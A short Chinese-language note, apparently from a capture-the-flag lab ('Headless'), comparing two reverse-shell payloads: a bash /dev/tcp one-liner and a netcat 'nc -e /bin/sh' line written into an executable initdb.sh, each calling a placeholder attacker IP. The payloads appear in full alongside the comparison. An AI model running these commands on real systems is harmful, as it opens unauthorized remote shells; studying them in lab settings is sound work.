在Headless中,一共建立兩次Reverse Shell,並且使用不同的Payload。
今天來研究一下,這兩個Payload的主要差異:
/bin/bash -c 'exec bash -i >& /dev/tcp/[your_IP]/1111 0>&1'
.sh
是一種 Shell 腳本文件,用於執行 Shell 命令,適合用於自動化和系統管理任務。需要有執行權限才能被執行。echo "nc -e /bin/sh [your_IP] 1212" > initdb.sh
chmod +x initdb.sh
第一個 payload: 直接在命令行中執行,利用 Bash 的 /dev/tcp 特性創建反向 shell 連接。
第二個 payload: 生成一個腳本,腳本內部使用 Netcat (nc) 創建反向 shell 連接。
第一個 payload: 立即執行,不需要生成額外的文件。
第二個 payload: 需要先執行 echo 命令來生成 initdb.sh 文件,然後再執行這個腳本。
第一個 payload: 依賴於 Bash 支持 /dev/tcp 的特性,這在某些系統或 Bash 版本中可能不可用。
第二個 payload: 依賴於 Netcat 工具,且需要腳本有執行權限。
第一個 payload: 執行命令時,無需創建持久文件。
第二個 payload: 生成一個可見的腳本文件 initdb.sh,這可能會在系統上留下痕跡。
兩個 payload 都是用來建立反向 shell 連接,但它們的實現方式不同。第一個 payload 直接利用 Bash 的功能來建立連接,而第二個 payload 則創建一個腳本來實現相同的目標。選擇哪個 payload 取決於系統環境和特定需求。